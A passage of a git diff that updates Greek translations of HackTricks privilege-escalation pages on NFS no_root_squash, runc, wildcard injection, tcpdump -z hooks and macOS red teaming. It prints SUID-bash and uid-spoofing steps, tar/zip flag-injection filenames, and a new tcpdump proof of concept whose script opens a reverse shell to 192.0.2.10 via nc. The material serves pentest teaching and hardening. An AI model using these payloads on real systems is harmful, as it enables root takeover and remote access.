αποτελεσματικό `CAP_MKNOD`). 3. Ο οικοδεσπότης και το κοντέινερ θα πρέπει να μοιράζονται το ίδιο namespace χρηστών. -**Βήματα για τη Δημιουργία και Πρόσβαση σε μια Συσκευή Μπλοκ σε Ένα Κοντέινερ:** +**Βήματα για τη Δημιουργία και Πρόσβαση σε Συσκευή Μπλοκ σε Ένα Κοντέινερ:** 1. **Στον Οικοδεσπότη ως Κανονικός Χρήστης:** @@ -1545,19 +1504,19 @@ head /proc/12345/root/dev/sdb ### CAP_SETPCAP -**CAP_SETPCAP** επιτρέπει σε μια διαδικασία να **αλλάξει τα σύνολα ικανοτήτων** μιας άλλης διαδικασίας, επιτρέποντας την προσθήκη ή την αφαίρεση ικανοτήτων από τα αποτελεσματικά, κληρονομούμενα και επιτρεπόμενα σύνολα. Ωστόσο, μια διαδικασία μπορεί να τροποποιήσει μόνο τις ικανότητες που κατέχει στο δικό της επιτρεπόμενο σύνολο, διασφαλίζοντας ότι δεν μπορεί να ανυψώσει τα προνόμια μιας άλλης διαδικασίας πέρα από τα δικά της. Οι πρόσφατες ενημερώσεις του πυρήνα έχουν σφίξει αυτούς τους κανόνες, περιορίζοντας το `CAP_SETPCAP` ώστε να μειώνει μόνο τις ικανότητες εντός του δικού του ή των κληρονομούμενων επιτρεπόμενων συνόλων, με στόχο τη μείωση των κινδύνων ασφαλείας. Η χρήση απαιτεί να έχετε το `CAP_SETPCAP` στο αποτελεσματικό σύνολο και τις στοχευμένες ικανότητες στο επιτρεπόμενο σύνολο, χρησιμοποιώντας το `capset()` για τροποποιήσεις. Αυτό συνοψίζει τη βασική λειτουργία και τους περιορισμούς του `CAP_SETPCAP`, επισημαίνοντας τον ρόλο του στη διαχείριση προνομίων και την ενίσχυση της ασφάλειας. +**CAP_SETPCAP** επιτρέπει σε μια διαδικασία να **αλλάξει τα σύνολα ικανοτήτων** μιας άλλης διαδικασίας, επιτρέποντας την προσθήκη ή την αφαίρεση ικανοτήτων από τα αποτελεσματικά, κληρονομούμενα και επιτρεπόμενα σύνολα. Ωστόσο, μια διαδικασία μπορεί να τροποποιήσει μόνο τις ικανότητες που κατέχει στο δικό της επιτρεπόμενο σύνολο, διασφαλίζοντας ότι δεν μπορεί να ανυψώσει τα προνόμια μιας άλλης διαδικασίας πέρα από τα δικά της. Οι πρόσφατες ενημερώσεις του πυρήνα έχουν αυστηροποιήσει αυτούς τους κανόνες, περιορίζοντας το `CAP_SETPCAP` ώστε να μειώνει μόνο τις ικανότητες εντός του δικού του ή των κληρονομούμενων επιτρεπόμενων συνόλων, με στόχο τη μείωση των κινδύνων ασφαλείας. Η χρήση απαιτεί να έχετε το `CAP_SETPCAP` στο αποτελεσματικό σύνολο και τις στοχευμένες ικανότητες στο επιτρεπόμενο σύνολο, χρησιμοποιώντας το `capset()` για τροποποιήσεις. Αυτό συνοψίζει τη βασική λειτουργία και τους περιορισμούς του `CAP_SETPCAP`, επισημαίνοντας τον ρόλο του στη διαχείριση προνομίων και στην ενίσχυση της ασφάλειας. -**`CAP_SETPCAP`** είναι μια ικανότητα του Linux που επιτρέπει σε μια διαδικασία να **τροποποιήσει τα σύνολα ικανοτήτων μιας άλλης διαδικασίας**. Παρέχει τη δυνατότητα προσθήκης ή αφαίρεσης ικανοτήτων από τα αποτελεσματικά, κληρονομούμενα και επιτρεπόμενα σύνολα ικανοτήτων άλλων διαδικασιών. Ωστόσο, υπάρχουν ορισμένοι περιορισμοί σχετικά με το πώς μπορεί να χρησιμοποιηθεί αυτή η ικανότητα. +**`CAP_SETPCAP`** είναι μια ικανότητα του Linux που επιτρέπει σε μια διαδικασία να **τροποποιεί τα σύνολα ικανοτήτων μιας άλλης διαδικασίας**. Παρέχει τη δυνατότητα προσθήκης ή αφαίρεσης ικανοτήτων από τα αποτελεσματικά, κληρονομούμενα και επιτρεπόμενα σύνολα ικανοτήτων άλλων διαδικασιών. Ωστόσο, υπάρχουν ορισμένοι περιορισμοί σχετικά με το πώς μπορεί να χρησιμοποιηθεί αυτή η ικανότητα. -Μια διαδικασία με `CAP_SETPCAP` **μπορεί να χορηγήσει ή να αφαιρέσει ικανότητες που βρίσκονται στο δικό της επιτρεπόμενο σύνολο ικανοτήτων**. Με άλλα λόγια, μια διαδικασία δεν μπορεί να χορηγήσει μια ικανότητα σε μια άλλη διαδικασία αν δεν έχει αυτή την ικανότητα η ίδια. Αυτός ο περιορισμός αποτρέπει μια διαδικασία από το να ανυψώσει τα προνόμια μιας άλλης διαδικασίας πέρα από το δικό της επίπεδο προνομίων. +Μια διαδικασία με `CAP_SETPCAP` **μπορεί να χορηγήσει ή να αφαιρέσει μόνο ικανότητες που βρίσκονται στο δικό της επιτρεπόμενο σύνολο ικανοτήτων**. Με άλλα λόγια, μια διαδικασία δεν μπορεί να χορηγήσει μια ικανότητα σε μια άλλη διαδικασία αν δεν έχει αυτή την ικανότητα η ίδια. Αυτός ο περιορισμός αποτρέπει μια διαδικασία από το να ανυψώσει τα προνόμια μιας άλλης διαδικασίας πέρα από το δικό της επίπεδο προνομίων. -Επιπλέον, σε πρόσφατες εκδόσεις του πυρήνα, η ικανότητα `CAP_SETPCAP` έχει **περιοριστεί περαιτέρω**. Δεν επιτρέπει πλέον σε μια διαδικασία να τροποποιεί αυθαίρετα τα σύνολα ικανοτήτων άλλων διαδικασιών. Αντίθετα, **επιτρέπει μόνο σε μια διαδικασία να μειώσει τις ικανότητες στο δικό της επιτρεπόμενο σύνολο ικανοτήτων ή στο επιτρεπόμενο σύνολο ικανοτήτων των κληρονόμων της**. Αυτή η αλλαγή εισήχθη για να μειώσει τους πιθανούς κινδύνους ασφαλείας που σχετίζονται με την ικανότητα. +Επιπλέον, σε πρόσφατες εκδόσεις του πυρήνα, η ικανότητα `CAP_SETPCAP` έχει **περιοριστεί περαιτέρω**. Δεν επιτρέπει πλέον σε μια διαδικασία να τροποποιεί αυθαίρετα τα σύνολα ικανοτήτων άλλων διαδικασιών. Αντίθετα, **επιτρέπει μόνο σε μια διαδικασία να μειώνει τις ικανότητες στο δικό της επιτρεπόμενο σύνολο ικανοτήτων ή στο επιτρεπόμενο σύνολο ικανοτήτων των κληρονόμων της**. Αυτή η αλλαγή εισήχθη για να μειώσει τους πιθανούς κινδύνους ασφαλείας που σχετίζονται με την ικανότητα. Για να χρησιμοποιήσετε το `CAP_SETPCAP` αποτελεσματικά, πρέπει να έχετε την ικανότητα στο αποτελεσματικό σας σύνολο ικανοτήτων και τις στοχευμένες ικανότητες στο επιτρεπόμενο σύνολο ικανοτήτων σας. Μπορείτε στη συνέχεια να χρησιμοποιήσετε την κλήση συστήματος `capset()` για να τροποποιήσετε τα σύνολα ικανοτήτων άλλων διαδικασιών. -Συνοψίζοντας, το `CAP_SETPCAP` επιτρέπει σε μια διαδικασία να τροποποιήσει τα σύνολα ικανοτήτων άλλων διαδικασιών, αλλά δεν μπορεί να χορηγήσει ικανότητες που δεν έχει η ίδια. Επιπλέον, λόγω ανησυχιών ασφαλείας, η λειτουργικότητά του έχει περιοριστεί σε πρόσφατες εκδόσεις του πυρήνα ώστε να επιτρέπει μόνο τη μείωση των ικανοτήτων στο δικό του επιτρεπόμενο σύνολο ικανοτήτων ή στα επιτρεπόμενα σύνολα ικανοτήτων των κληρονόμων του. +Συνοψίζοντας, το `CAP_SETPCAP` επιτρέπει σε μια διαδικασία να τροποποιεί τα σύνολα ικανοτήτων άλλων διαδικασιών, αλλά δεν μπορεί να χορηγήσει ικανότητες που δεν έχει η ίδια. Επιπλέον, λόγω ανησυχιών ασφαλείας, η λειτουργικότητά του έχει περιοριστεί σε πρόσφατες εκδόσεις του πυρήνα ώστε να επιτρέπει μόνο τη μείωση των ικανοτήτων στο δικό του επιτρεπόμενο σύνολο ικανοτήτων ή στα επιτρεπόμενα σύνολα ικανοτήτων των κληρονόμων του. -## Αναφορές +## References **Οι περισσότερες από αυτές τις παραδείγματα προήλθαν από κάποια εργαστήρια του** [**https://attackdefense.pentesteracademy.com/**](https://attackdefense.pentesteracademy.com), οπότε αν θέλετε να εξασκηθείτε σε αυτές τις τεχνικές privesc, προτείνω αυτά τα εργαστήρια. diff --git a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md index 5cbf67367..9cc540235 100644 --- a/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md +++ b/src/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md @@ -1,24 +1,28 @@ +# NFS No Root Squash Misconfiguration Privilege Escalation + {{#include ../../banners/hacktricks-training.md}} -# Squashing Basic Info -Το NFS συνήθως (ειδικά σε linux) εμπιστεύεται το `uid` και `gid` που υποδεικνύονται από τον πελάτη που συνδέεται για να έχει πρόσβαση στα αρχεία (αν δεν χρησιμοποιείται kerberos). Ωστόσο, υπάρχουν κάποιες ρυθμίσεις που μπορούν να οριστούν στον διακομιστή για να **αλλάξουν αυτή τη συμπεριφορά**: +## Squashing Basic Info + +Το NFS συνήθως (ειδικά σε linux) εμπιστεύεται το `uid` και `gid` που υποδεικνύει ο πελάτης που συνδέεται για να έχει πρόσβαση στα αρχεία (αν δεν χρησιμοποιείται kerberos). Ωστόσο, υπάρχουν κάποιες ρυθμίσεις που μπορούν να οριστούν στον διακομιστή για να **αλλάξουν αυτή τη συμπεριφορά**: - **`all_squash`**: Συμπιέζει όλες τις προσβάσεις χαρτογραφώντας κάθε χρήστη και ομάδα σε **`nobody`** (65534 unsigned / -2 signed). Επομένως, όλοι είναι `nobody` και δεν χρησιμοποιούνται χρήστες. - **`root_squash`/`no_all_squash`**: Αυτό είναι προεπιλεγμένο στο Linux και **συμπιέζει μόνο την πρόσβαση με uid 0 (root)**. Επομένως, οποιοδήποτε `UID` και `GID` εμπιστεύονται αλλά το `0` συμπιέζεται σε `nobody` (έτσι δεν είναι δυνατή η προσποίηση root). - **``no_root_squash`**: Αυτή η ρύθμιση αν ενεργοποιηθεί δεν συμπιέζει ούτε τον χρήστη root. Αυτό σημαίνει ότι αν τοποθετήσετε έναν κατάλογο με αυτή τη ρύθμιση μπορείτε να έχετε πρόσβαση σε αυτόν ως root. -Στο **/etc/exports** αρχείο, αν βρείτε κάποιον κατάλογο που είναι ρυθμισμένος ως **no_root_squash**, τότε μπορείτε να **έχετε πρόσβαση** σε αυτόν **ως πελάτης** και **να γράψετε μέσα** σε αυτόν τον κατάλογο **σαν** να ήσασταν ο τοπικός **root** της μηχανής. +Στο αρχείο **/etc/exports**, αν βρείτε κάποιον κατάλογο που είναι ρυθμισμένος ως **no_root_squash**, τότε μπορείτε να **έχετε πρόσβαση** σε αυτόν **ως πελάτης** και **να γράψετε μέσα** σε αυτόν τον κατάλογο **σαν** να ήσασταν ο τοπικός **root** της μηχανής. Για περισσότερες πληροφορίες σχετικά με το **NFS** ελέγξτε: + {{#ref}} ../../network-services-pentesting/nfs-service-pentesting.md {{#endref}} -# Privilege Escalation +## Privilege Escalation -## Remote Exploit +### Remote Exploit Επιλογή 1 χρησιμοποιώντας bash: - **Τοποθετώντας αυτόν τον κατάλογο** σε μια μηχανή πελάτη, και **ως root αντιγράφοντας** μέσα στον τοποθετημένο φάκελο το **/bin/bash** δυαδικό και δίνοντάς του **SUID** δικαιώματα, και **εκτελώντας από τη μηχανή του θύματος** αυτό το δυαδικό bash. @@ -36,8 +40,8 @@ chmod +s bash cd ./bash -p #ROOT shell ``` -Option 2 χρησιμοποιώντας κώδικα που έχει μεταγλωττιστεί σε C: -- **Μοντάρισμα αυτού του καταλόγου** σε μια μηχανή-πελάτη, και **ως root αντιγραφή** μέσα στον μονταρισμένο φάκελο το προετοιμασμένο payload μας που θα εκμεταλλευτεί την άδεια SUID, δίνοντάς του **δικαιώματα SUID**, και **εκτέλεση από τη μηχανή του θύματος** αυτού του δυαδικού (μπορείτε να βρείτε εδώ μερικά [C SUID payloads](payloads-to-execute.md#c)). +Option 2 using c compiled code: +- **Μοντάρισμα αυτού του καταλόγου** σε μια μηχανή πελάτη, και **ως root αντιγραφή** μέσα στον μονταρισμένο φάκελο το προετοιμασμένο payload μας που θα εκμεταλλευτεί την άδεια SUID, δίνοντάς του **δικαιώματα SUID**, και **εκτέλεση από τη μηχανή του θύματος** αυτού του δυαδικού (μπορείτε να βρείτε εδώ μερικά [C SUID payloads](payloads-to-execute.md#c)). - Οι ίδιες περιορισμοί όπως πριν ```bash #Attacker, as root user @@ -52,19 +56,19 @@ chmod +s payload cd ./payload #ROOT shell ``` -## Τοπική Εκμετάλλευση +### Τοπική Εκμετάλλευση -> [!NOTE] -> Σημειώστε ότι αν μπορείτε να δημιουργήσετε ένα **τούνελ από τη μηχανή σας στη μηχανή του θύματος μπορείτε ακόμα να χρησιμοποιήσετε την απομακρυσμένη έκδοση για να εκμεταλλευτείτε αυτή την κλιμάκωση προνομίων σήραγγας των απαιτούμενων θυρών**.\ +> [!TIP] +> Σημειώστε ότι αν μπορείτε να δημιουργήσετε ένα **τούνελ από τη μηχανή σας στη μηχανή του θύματος, μπορείτε ακόμα να χρησιμοποιήσετε την απομακρυσμένη έκδοση για να εκμεταλλευτείτε αυτή την κλιμάκωση προνομίων τοποθετώντας τις απαιτούμενες θύρες**.\ > Το παρακάτω κόλπο ισχύει σε περίπτωση που το αρχείο `/etc/exports` **υποδεικνύει μια διεύθυνση IP**. Σε αυτή την περίπτωση **δεν θα μπορείτε να χρησιμοποιήσετε** σε καμία περίπτωση την **απομακρυσμένη εκμετάλλευση** και θα χρειαστεί να **καταχραστείτε αυτό το κόλπο**.\ > Ένα άλλο απαιτούμενο προαπαιτούμενο για να λειτουργήσει η εκμετάλλευση είναι ότι **η εξαγωγή μέσα στο `/etc/export`** **πρέπει να χρησιμοποιεί την ένδειξη `insecure`**.\ -> --_Δεν είμαι σίγουρος ότι αν το `/etc/export` υποδεικνύει μια διεύθυνση IP αυτό το κόλπο θα λειτουργήσει_-- +> --_Δεν είμαι σίγουρος ότι αν το `/etc/export` υποδεικνύει μια διεύθυνση IP, αυτό το κόλπο θα λειτουργήσει_-- -## Βασικές Πληροφορίες +### Βασικές Πληροφορίες Το σενάριο περιλαμβάνει την εκμετάλλευση ενός προσαρτημένου NFS share σε μια τοπική μηχανή, εκμεταλλευόμενο ένα σφάλμα στην προδιαγραφή NFSv3 που επιτρέπει στον πελάτη να καθορίσει το uid/gid του, ενδεχομένως επιτρέποντας μη εξουσιοδοτημένη πρόσβαση. Η εκμετάλλευση περιλαμβάνει τη χρήση του [libnfs](https://github.com/sahlberg/libnfs), μιας βιβλιοθήκης που επιτρέπει την πλαστογράφηση κλήσεων RPC NFS. -### Συγκέντρωση της Βιβλιοθήκης +#### Συγκέντρωση της Βιβλιοθήκης Τα βήματα συγκέντρωσης της βιβλιοθήκης μπορεί να απαιτούν προσαρμογές με βάση την έκδοση του πυρήνα. Σε αυτή την συγκεκριμένη περίπτωση, οι κλήσεις syscalls fallocate είχαν σχολιαστεί. Η διαδικασία συγκέντρωσης περιλαμβάνει τις παρακάτω εντολές: ```bash @@ -73,9 +77,9 @@ cd make gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib/.libs/ ``` -### Διεξαγωγή της Εκμετάλλευσης +#### Διεξαγωγή της Εκμετάλλευσης -Η εκμετάλλευση περιλαμβάνει τη δημιουργία ενός απλού προγράμματος C (`pwn.c`) που ανυψώνει τα δικαιώματα σε root και στη συνέχεια εκτελεί ένα shell. Το πρόγραμμα μεταγλωττίζεται και το προκύπτον δυαδικό αρχείο (`a.out`) τοποθετείται στο κοινόχρηστο με suid root, χρησιμοποιώντας το `ld_nfs.so` για να προσποιηθεί το uid στις κλήσεις RPC: +Η εκμετάλλευση περιλαμβάνει τη δημιουργία ενός απλού προγράμματος C (`pwn.c`) που ανυψώνει τα δικαιώματα σε root και στη συνέχεια εκτελεί ένα shell. Το πρόγραμμα μεταγλωττίζεται και το παραγόμενο δυαδικό αρχείο (`a.out`) τοποθετείται στο κοινόχρηστο με suid root, χρησιμοποιώντας το `ld_nfs.so` για να προσποιηθεί το uid στις κλήσεις RPC: 1. **Μεταγλωττίστε τον κώδικα εκμετάλλευσης:** ```bash @@ -95,9 +99,9 @@ LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs:/ /mnt/share/a.out #root ``` -## Bonus: NFShell για Αθόρυβη Πρόσβαση σε Αρχεία +### Bonus: NFShell για Αθόρυβη Πρόσβαση σε Αρχεία -Μόλις αποκτηθεί πρόσβαση root, για να αλληλεπιδράσετε με το NFS share χωρίς να αλλάξετε την ιδιοκτησία (για να αποφευχθούν τα ίχνη), χρησιμοποιείται ένα σενάριο Python (nfsh.py). Αυτό το σενάριο προσαρμόζει το uid ώστε να ταιριάζει με αυτό του αρχείου που προσπελάζεται, επιτρέποντας την αλληλεπίδραση με αρχεία στο share χωρίς προβλήματα άδειας: +Μόλις αποκτηθεί η πρόσβαση root, για να αλληλεπιδράσετε με το NFS share χωρίς να αλλάξετε την ιδιοκτησία (για να αποφύγετε την αφήγηση ιχνών), χρησιμοποιείται ένα σενάριο Python (nfsh.py). Αυτό το σενάριο προσαρμόζει το uid ώστε να ταιριάζει με αυτό του αρχείου που προσπελάζεται, επιτρέποντας την αλληλεπίδραση με αρχεία στο share χωρίς προβλήματα άδειας: ```python #!/usr/bin/env python # script from https://www.errno.fr/nfs_privesc.html diff --git a/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md b/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md index 1225f296d..bb0b19ff9 100644 --- a/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/runc-privilege-escalation.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic information +## Βασικές πληροφορίες Αν θέλετε να μάθετε περισσότερα για το **runc** ελέγξτε την παρακάτω σελίδα: @@ -12,7 +12,7 @@ ## PE -Αν διαπιστώσετε ότι το `runc` είναι εγκατεστημένο στον host, μπορεί να είστε σε θέση να **τρέξετε ένα container που να προσαρτά τον ριζικό φάκελο / του host**. +Αν διαπιστώσετε ότι το `runc` είναι εγκατεστημένο στον host, μπορεί να είστε σε θέση να **τρέξετε ένα κοντέινερ που να προσαρτά τον ριζικό φάκελο / του host**. ```bash runc -help #Get help and see if runc is intalled runc spec #This will create the config.json file in your current folder diff --git a/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md b/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md index 057dcf3d1..e01b3afc8 100644 --- a/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md +++ b/src/linux-hardening/privilege-escalation/wildcards-spare-tricks.md @@ -2,8 +2,8 @@ {{#include ../../banners/hacktricks-training.md}} -> Wildcard (aka *glob*) **εισαγωγή επιχειρημάτων** συμβαίνει όταν ένα προνομιακό σενάριο εκτελεί ένα Unix δυαδικό όπως `tar`, `chown`, `rsync`, `zip`, `7z`, … με ένα μη παραquoted wildcard όπως `*`. -> Δεδομένου ότι το shell επεκτείνει το wildcard **πριν** εκτελέσει το δυαδικό, ένας επιτιθέμενος που μπορεί να δημιουργήσει αρχεία στον τρέχοντα κατάλογο μπορεί να κατασκευάσει ονόματα αρχείων που αρχίζουν με `-` ώστε να ερμηνεύονται ως **επιλογές αντί για δεδομένα**, αποτελεσματικά λαθραία σημαίες ή ακόμα και εντολές. +> Η **έγχυση επιχειρημάτων** με wildcard (γνωστό και ως *glob*) συμβαίνει όταν ένα προνομιακό σενάριο εκτελεί ένα Unix binary όπως `tar`, `chown`, `rsync`, `zip`, `7z`, … με ένα μη παραquoted wildcard όπως `*`. +> Δεδομένου ότι το shell επεκτείνει το wildcard **πριν** εκτελέσει το binary, ένας επιτιθέμενος που μπορεί να δημιουργήσει αρχεία στον τρέχοντα κατάλογο μπορεί να κατασκευάσει ονόματα αρχείων που αρχίζουν με `-`, έτσι ώστε να ερμηνεύονται ως **επιλογές αντί για δεδομένα**, αποτελεσματικά λαθραία σημαίες ή ακόμα και εντολές. > Αυτή η σελίδα συγκεντρώνει τις πιο χρήσιμες πρωτογενείς μεθόδους, πρόσφατες έρευνες και σύγχρονες ανιχνεύσεις για το 2023-2025. ## chown / chmod @@ -41,7 +41,7 @@ touch "--checkpoint-action=exec=sh shell.sh" ### bsdtar / macOS 14+ -Ο προεπιλεγμένος `tar` σε πρόσφατο macOS (βασισμένος σε `libarchive`) *δεν* υλοποιεί το `--checkpoint`, αλλά μπορείτε να επιτύχετε εκτέλεση κώδικα με την επιλογή **--use-compress-program** που σας επιτρέπει να καθορίσετε έναν εξωτερικό συμπιεστή. +Ο προεπιλεγμένος `tar` σε πρόσφατες εκδόσεις macOS (βασισμένος σε `libarchive`) *δεν* υλοποιεί το `--checkpoint`, αλλά μπορείτε να επιτύχετε εκτέλεση κώδικα με την επιλογή **--use-compress-program** που σας επιτρέπει να καθορίσετε έναν εξωτερικό συμπιεστή. ```bash # macOS example touch "--use-compress-program=/bin/sh" @@ -86,38 +86,83 @@ touch @root.txt # tells 7z to use root.txt as file list ```bash zip result.zip files -T --unzip-command "sh -c id" ``` -Inject the flag via a crafted filename and wait for the privileged backup script to call `zip -T` (test archive) on the resulting file. +Εισάγετε τη σημαία μέσω ενός κατασκευασμένου ονόματος αρχείου και περιμένετε να καλέσει το σενάριο δημιουργίας αντιγράφων ασφαλείας με δικαιώματα `zip -T` (δοκιμή αρχείου) στο προκύπτον αρχείο. --- -## Additional binaries vulnerable to wildcard injection (2023-2025 quick list) +## Πρόσθετα δυαδικά αρχεία ευάλωτα σε ένεση wildcard (γρήγορη λίστα 2023-2025) -The following commands have been abused in modern CTFs and real environments. The payload is always created as a *filename* inside a writable directory that will later be processed with a wildcard: +Οι παρακάτω εντολές έχουν κακοποιηθεί σε σύγχρονες CTF και πραγματικά περιβάλλοντα. Το payload δημιουργείται πάντα ως *όνομα αρχείου* μέσα σε έναν εγγράψιμο φάκελο που θα επεξεργαστεί αργότερα με wildcard: -| Binary | Flag to abuse | Effect | +| Δυαδικό | Σημαία προς κακοποίηση | Επίδραση | | --- | --- | --- | -| `bsdtar` | `--newer-mtime=@` → arbitrary `@file` | Διαβάστε το περιεχόμενο του αρχείου | +| `bsdtar` | `--newer-mtime=@` → αυθαίρετο `@file` | Ανάγνωση περιεχομένων αρχείου | | `flock` | `-c ` | Εκτέλεση εντολής | -| `git` | `-c core.sshCommand=` | Εκτέλεση εντολής μέσω git over SSH | +| `git` | `-c core.sshCommand=` | Εκτέλεση εντολής μέσω git μέσω SSH | | `scp` | `-S ` | Δημιουργία αυθαίρετου προγράμματος αντί για ssh | -These primitives are less common than the *tar/rsync/zip* classics but worth checking when hunting. +Αυτές οι πρωτογενείς εντολές είναι λιγότερο κοινές από τις κλασικές *tar/rsync/zip* αλλά αξίζει να ελεγχθούν κατά την αναζήτηση. --- -## Detection & Hardening +## tcpdump rotation hooks (-G/-W/-z): RCE μέσω ένεσης argv σε wrappers -1. **Disable shell globbing** in critical scripts: `set -f` (`set -o noglob`) prevents wildcard expansion. -2. **Quote or escape** arguments: `tar -czf "$dst" -- *` is *not* safe — prefer `find . -type f -print0 | xargs -0 tar -czf "$dst"`. -3. **Explicit paths**: Use `/var/www/html/*.log` instead of `*` so attackers cannot create sibling files that start with `-`. -4. **Least privilege**: Run backup/maintenance jobs as an unprivileged service account instead of root whenever possible. -5. **Monitoring**: Elastic’s pre-built rule *Potential Shell via Wildcard Injection* looks for `tar --checkpoint=*`, `rsync -e*`, or `zip --unzip-command` immediately followed by a shell child process. The EQL query can be adapted for other EDRs. +Όταν ένα περιορισμένο shell ή wrapper προμηθευτή κατασκευάζει μια γραμμή εντολών `tcpdump` συνδυάζοντας πεδία που ελέγχονται από τον χρήστη (π.χ., μια παράμετρος "όνομα αρχείου") χωρίς αυστηρή απόσπαση/επικύρωση, μπορείτε να λαθρέψετε επιπλέον σημαίες `tcpdump`. Ο συνδυασμός `-G` (χρονική περιστροφή), `-W` (περιορισμός αριθμού αρχείων) και `-z ` (εντολή μετά την περιστροφή) αποφέρει αυθαίρετη εκτέλεση εντολών ως ο χρήστης που εκτελεί το tcpdump (συχνά root σε συσκευές). + +Προϋποθέσεις: + +- Μπορείτε να επηρεάσετε το `argv` που περνάει στο `tcpdump` (π.χ., μέσω ενός wrapper όπως `/debug/tcpdump --filter=... --file-name=`). +- Ο wrapper δεν απολυμαίνει κενά ή tokens που ξεκινούν με `-` στο πεδίο ονόματος αρχείου. + +Κλασικό PoC (εκτελεί ένα σενάριο αντίστροφης σύνδεσης από μια εγγράψιμη διαδρομή): +```sh +# Reverse shell payload saved on the device (e.g., USB, tmpfs) +cat > /mnt/disk1_1/rce.sh <<'EOF' +#!/bin/sh +rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f|/bin/sh -i 2>&1|nc 192.0.2.10 4444 >/tmp/f +EOF +chmod +x /mnt/disk1_1/rce.sh + +# Inject additional tcpdump flags via the unsafe "file name" field +/debug/tcpdump --filter="udp port 1234" \ +--file-name="test -i any -W 1 -G 1 -z /mnt/disk1_1/rce.sh" + +# On the attacker host +nc -6 -lvnp 4444 & +# Then send any packet that matches the BPF to force a rotation +printf x | nc -u -6 [victim_ipv6] 1234 +``` +Λεπτομέρειες: + +- `-G 1 -W 1` αναγκάζει μια άμεση περιστροφή μετά το πρώτο πακέτο που ταιριάζει. +- `-z ` εκτελεί την εντολή μετά την περιστροφή μία φορά ανά περιστροφή. Πολλές εκδόσεις εκτελούν ` `. Αν το `` είναι ένα σενάριο/διερμηνέας, βεβαιωθείτε ότι η διαχείριση των παραμέτρων ταιριάζει με το payload σας. + +Μη-αφαιρούμενα μέσα παραλλαγές: + +- Αν έχετε οποιαδήποτε άλλη πρωτόγονη μέθοδο για να γράψετε αρχεία (π.χ., μια ξεχωριστή εντολή περιτύλιξης που επιτρέπει την ανακατεύθυνση εξόδου), τοποθετήστε το σενάριό σας σε μια γνωστή διαδρομή και ενεργοποιήστε `-z /bin/sh /path/script.sh` ή `-z /path/script.sh` ανάλογα με τη σημασία της πλατφόρμας. +- Ορισμένα περιτυλίγματα προμηθευτών περιστρέφονται σε θέσεις ελέγχου που ελέγχονται από τον επιτιθέμενο. Αν μπορείτε να επηρεάσετε τη διαδρομή περιστροφής (symlink/διαδρομή καταλόγου), μπορείτε να κατευθύνετε το `-z` να εκτελέσει περιεχόμενο που ελέγχετε πλήρως χωρίς εξωτερικά μέσα. + +Συμβουλές σκληρύνσης για προμηθευτές: + +- Ποτέ μην περνάτε συμβολοσειρές που ελέγχονται από τον χρήστη απευθείας στο `tcpdump` (ή οποιοδήποτε εργαλείο) χωρίς αυστηρές λίστες επιτρεπόμενων. Παραθέστε και επικυρώστε. +- Μην εκθέτετε τη λειτουργία `-z` σε περιτυλίγματα; εκτελέστε το tcpdump με ένα σταθερό ασφαλές πρότυπο και απαγορεύστε εντελώς επιπλέον σημαίες. +- Αφαιρέστε τα προνόμια του tcpdump (cap_net_admin/cap_net_raw μόνο) ή εκτελέστε το κάτω από έναν αφιερωμένο μη προνομιούχο χρήστη με περιορισμούς AppArmor/SELinux. + +## Ανίχνευση & Σκληρύνση + +1. **Απενεργοποιήστε την επέκταση wildcard** σε κρίσιμα σενάρια: `set -f` (`set -o noglob`) αποτρέπει την επέκταση wildcard. +2. **Παραθέστε ή διαφύγετε** παραμέτρους: `tar -czf "$dst" -- *` *δεν είναι* ασφαλές — προτιμήστε `find . -type f -print0 | xargs -0 tar -czf "$dst"`. +3. **Ρητές διαδρομές**: Χρησιμοποιήστε `/var/www/html/*.log` αντί για `*` ώστε οι επιτιθέμενοι να μην μπορούν να δημιουργήσουν αδελφά αρχεία που ξεκινούν με `-`. +4. **Ελάχιστο προνόμιο**: Εκτελέστε εργασίες αντιγράφων ασφαλείας/συντήρησης ως μη προνομιούχος υπηρεσία αντί για root όποτε είναι δυνατόν. +5. **Παρακολούθηση**: Ο προ-κατασκευασμένος κανόνας της Elastic *Potential Shell via Wildcard Injection* αναζητά `tar --checkpoint=*`, `rsync -e*`, ή `zip --unzip-command` αμέσως ακολουθούμενο από μια διαδικασία παιδιού shell. Το EQL query μπορεί να προσαρμοστεί για άλλες EDRs. --- -## References +## Αναφορές -* Elastic Security – Potential Shell via Wildcard Injection Detected rule (last updated 2025) -* Rutger Flohil – “macOS — Tar wildcard injection” (Dec 18 2024) +* Elastic Security – Potential Shell via Wildcard Injection Detected rule (τελευταία ενημέρωση 2025) +* Rutger Flohil – “macOS — Tar wildcard injection” (18 Δεκ 2024) +* GTFOBins – [tcpdump](https://gtfobins.github.io/gtfobins/tcpdump/) +* FiberGateway GR241AG – [Full Exploit Chain](https://r0ny.net/FiberGateway-GR241AG-Full-Exploit-Chain/) {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-red-teaming/README.md b/src/macos-hardening/macos-red-teaming/README.md index 1253cb384..1219e27cb 100644 --- a/src/macos-hardening/macos-red-teaming/README.md +++ b/src/macos-hardening/macos-red-teaming/README.md @@ -12,6 +12,7 @@ Για red teaming σε περιβάλλοντα MacOS, συνιστάται έντονα να έχετε κάποια κατανόηση του πώς λειτουργούν τα MDMs: + {{#ref}} macos-mdm/ {{#endref}} @@ -20,9 +21,9 @@ macos-mdm/ Ένα MDM θα έχει άδεια να εγκαθιστά, να ερωτά ή να αφαιρεί προφίλ, να εγκαθιστά εφαρμογές, να δημιουργεί τοπικούς λογαριασμούς διαχειριστή, να ορίζει κωδικό πρόσβασης firmware, να αλλάζει το κλειδί FileVault... -Για να τρέξετε το δικό σας MDM, 